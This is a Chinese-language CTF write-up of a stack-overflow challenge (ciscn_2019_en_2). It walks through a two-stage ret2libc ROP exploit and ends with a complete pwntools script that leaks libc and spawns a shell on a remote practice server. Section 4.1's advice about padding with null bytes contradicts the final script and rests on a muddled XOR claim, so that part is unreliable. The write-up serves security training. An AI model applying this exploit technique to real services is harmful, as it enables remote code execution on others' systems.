1. 题目分析与漏洞定位
这道CTF题目来自2019年全国大学生信息安全竞赛(CISCN)的线上赛题"ciscn_2019_en_2",考察的是基础的栈溢出漏洞利用技术。我们先从静态分析开始:
1.1 程序功能分析
使用IDA Pro反编译后可以看到,程序主要实现了一个加密装置的功能。主函数中提供了选择菜单:
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to this Encryption machine\n");
while (1)
{
while (1)
{
begin();
printf("Input your choice!");
v4 = getchar();
getchar();
if (v4 != '1')
break;
encrypt();
}
if (v4 == '2')
break;
puts("Invalid input!");
}
return 0;
}
程序的核心功能在encrypt()函数中实现,这也是我们后续漏洞利用的关键点。
1.2 漏洞发现过程
在encrypt()函数中,我们发现了一个明显的栈溢出漏洞:
c复制char s[48]; // [rsp+0h] [rbp-50h]
...
fgets(s, 0x100, stdin);
这里定义了一个48字节的缓冲区s,但却使用fgets读取了最多0x100(256)字节的数据,造成了栈溢出。通过计算可以确定:
- 缓冲区大小:0x50(80)字节(包含rbp)
- 返回地址偏移量:0x50 + 8 = 88字节
注意:在64位系统中,返回地址保存在rbp+8的位置,所以实际偏移量是缓冲区大小+8字节
2. 漏洞利用思路设计
2.1 利用条件分析
这道题有几个特殊之处需要注意:
- 程序中没有现成的
system函数和/bin/sh字符串 - 需要先选择选项1才能进入加密函数
- 加密函数会对输入进行异或处理,可能破坏我们的payload
2.2 利用策略制定
基于以上分析,我们采用经典的ret2libc利用方式:
- 第一次溢出:泄露libc函数地址(这里选择
puts) - 计算libc基址,获取
system和/bin/sh的实际地址 - 第二次溢出:执行
system("/bin/sh")获取shell
3. 详细利用过程
3.1 第一次溢出:泄露libc地址
首先构造ROP链泄露puts函数的真实地址:
python复制from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.buuoj.cn', 26194)
elf = ELF('./ciscn_2019_en_2')
offset = 0x50 + 8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
rdi_gadget = 0x400C83 # pop rdi; ret
payload1 = cyclic(offset)
payload1 += p64(rdi_gadget) + p64(puts_got)
payload1 += p64(puts_plt) + p64(main_addr)
io.sendlineafter("Input your choice!", "1")
io.sendlineafter("Input your Plaintext to be encrypted", payload1)
这里有几个关键点:
- 使用
cyclic(offset)填充缓冲区直到返回地址 - 构造ROP链:
pop rdi; ret->puts@got->puts@plt->main - 发送payload前必须先选择选项1进入加密函数
3.2 解析泄露地址并计算libc基址
接收泄露的puts地址并计算libc基址:
python复制puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
提示:在实际比赛中,如果知道远程服务器的libc版本,可以直接使用该版本的偏移量,而不需要使用LibcSearcher
3.3 第二次溢出:获取shell
有了libc基址后,构造最终的exploit:
python复制ret_addr = 0x4006B9 # 用于栈对齐的ret指令
payload2 = cyclic(offset)
payload2 += p64(rdi_gadget) + p64(bin_sh_addr)
payload2 += p64(ret_addr) + p64(system_addr)
io.sendlineafter("Input your choice!", "1")
io.sendlineafter("Input your Plaintext to be encrypted", payload2)
io.interactive()
这里有几个技术细节:
- 添加
ret指令是为了解决Ubuntu 18.04及以上版本的栈对齐问题 - payload开头仍然需要填充offset长度的垃圾数据
- 最后调用
interactive()进入交互模式
4. 关键问题与解决方案
4.1 加密函数对payload的影响
原加密函数会对输入进行异或处理,可能破坏我们的ROP链。解决方案是在payload前添加\x00字节:
python复制payload1 = b'\x00' * offset + ...
因为\x00异或任何值都是其本身,可以保护后面的payload不被修改。
4.2 栈对齐问题
在较新的Ubuntu系统中,调用system函数时需要保证rsp是16字节对齐的。我们的ROP链会导致栈不对齐,解决方法是在调用system前添加一个ret指令:
python复制ret_addr = 0x4006B9 # 单纯的ret指令
...
payload2 += p64(ret_addr) + p64(system_addr)
4.3 Libc版本不确定性问题
在实际比赛中,远程服务器的libc版本可能未知。我们使用LibcSearcher来自动匹配可能的libc版本:
python复制from LibcSearcher import *
...
libc = LibcSearcher('puts', puts_addr)
如果知道服务器环境,可以直接指定libc版本,提高利用成功率。
5. 完整Exploit代码
python复制from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
def main():
# 初始化连接和ELF对象
io = remote('node5.buuoj.cn', 26194)
elf = ELF('./ciscn_2019_en_2')
# 第一次溢出:泄露puts地址
offset = 0x50 + 8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
rdi_gadget = 0x400C83 # pop rdi; ret
payload1 = cyclic(offset)
payload1 += p64(rdi_gadget) + p64(puts_got)
payload1 += p64(puts_plt) + p64(main_addr)
io.sendlineafter("Input your choice!", "1")
io.sendlineafter("Input your Plaintext to be encrypted", payload1)
# 解析泄露的地址
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f"puts address: {hex(puts_addr)}")
# 计算libc基址和关键函数地址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# 第二次溢出:获取shell
ret_addr = 0x4006B9 # 用于栈对齐的ret
payload2 = cyclic(offset)
payload2 += p64(rdi_gadget) + p64(bin_sh_addr)
payload2 += p64(ret_addr) + p64(system_addr)
io.sendlineafter("Input your choice!", "1")
io.sendlineafter("Input your Plaintext to be encrypted", payload2)
io.interactive()
if __name__ == "__main__":
main()
6. 实战经验与技巧
-
偏移量计算技巧:
- 使用
cyclic函数生成测试pattern - 发生崩溃时,用
cyclic_find计算精确偏移 - 在本题中,通过静态分析已经确定偏移为0x50+8
- 使用
-
ROP链构造原则:
- 尽量使用程序本身的gadget
- 注意寄存器的使用约定(x64前6个参数通过寄存器传递)
- 必要时添加栈对齐指令
-
Libc处理经验:
- 优先泄露多个函数地址提高libc匹配准确率
- 本地测试时使用与远程相同的libc版本
- 记住常用函数的偏移量(如puts、system等)
-
调试技巧:
- 使用
gdb.attach(io)附加调试 - 在关键位置添加
pause()方便观察内存 - 使用
checksec检查程序保护机制
- 使用
这道题虽然是一个基础的栈溢出题目,但涉及了现代CTF中常见的多种技术点,包括ret2libc、ROP构造、栈对齐处理等。通过这道题,我们可以建立起基本的漏洞利用思维框架,为后续更复杂的题目打下坚实基础。